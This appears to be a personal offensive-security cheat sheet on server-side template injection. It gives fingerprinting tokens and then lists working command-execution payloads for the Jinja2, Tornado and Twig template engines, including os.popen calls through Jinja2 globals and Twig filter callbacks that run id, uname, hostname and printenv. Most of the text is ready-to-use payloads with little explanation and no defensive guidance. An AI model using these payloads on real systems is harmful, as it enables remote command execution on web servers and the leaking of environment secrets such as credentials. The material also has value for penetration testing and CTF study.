Server-Side Template Injection (SSTI)
Server-Side Template Injection occurs when we can inject code that is parsed by a template engine such as Jinja2 in Python.
You may be able to guess the template engine used from the web server, for instance, if it's Python then it's most likely Jinja.
To guess the template engine, we can try every token (${{<%[%'"}}%\
) with expressions such as 7*7
or 7*'7'
and look for the output/errors.
Well-Known Template Engines
Jinja2 Template Engine β Python
Refer to JinJa2 Notes if needed.
- Basic Fingerprint PoC:
{{ "PoC"|e }}
- Test if debug is enabled:
{% debug %}
- Try to print the context
{{ self._TemplateReference__context }}
- Then, you might be able to perform code injection:
{{ cycler.__init__.__globals__.os.system('ls') }}
{{ cycler.__init__.__globals__.os.popen("ls -1a").read() }}
{{ lipsum.__globals__.os.popen('ls -1a').read() }}
{{ self.__init__.__globals__.__builtins__.__import__('os').system('ls') }}
{{ request.application.__globals__.__builtins__.__import__('os').popen('ls -1a').read() }}
β οΈ Before, we were using longer payloads as explained here.
Tornado Web Framework Templates β Python
Link to the template section of the official documentation.
{% import os %}{{os.popen('whoami').read()}}
Twig Template Engine β PHP
Link to the official documentation. GitHub (8.0k β).
- Basic Fingerprint PoC:
{{_self}}
,{{_self.env}}
- Random payloads:
{{_self.env.display("TEST")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname;printenv")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id;uname -a;hostname;printenv")}}
π Both exec
and system
are PHP functions.
π» To-do π»
Stuff that I found, but never read/used yet.
-
{{ self.__init__.__globals__.__builtins__.__import__('os') }}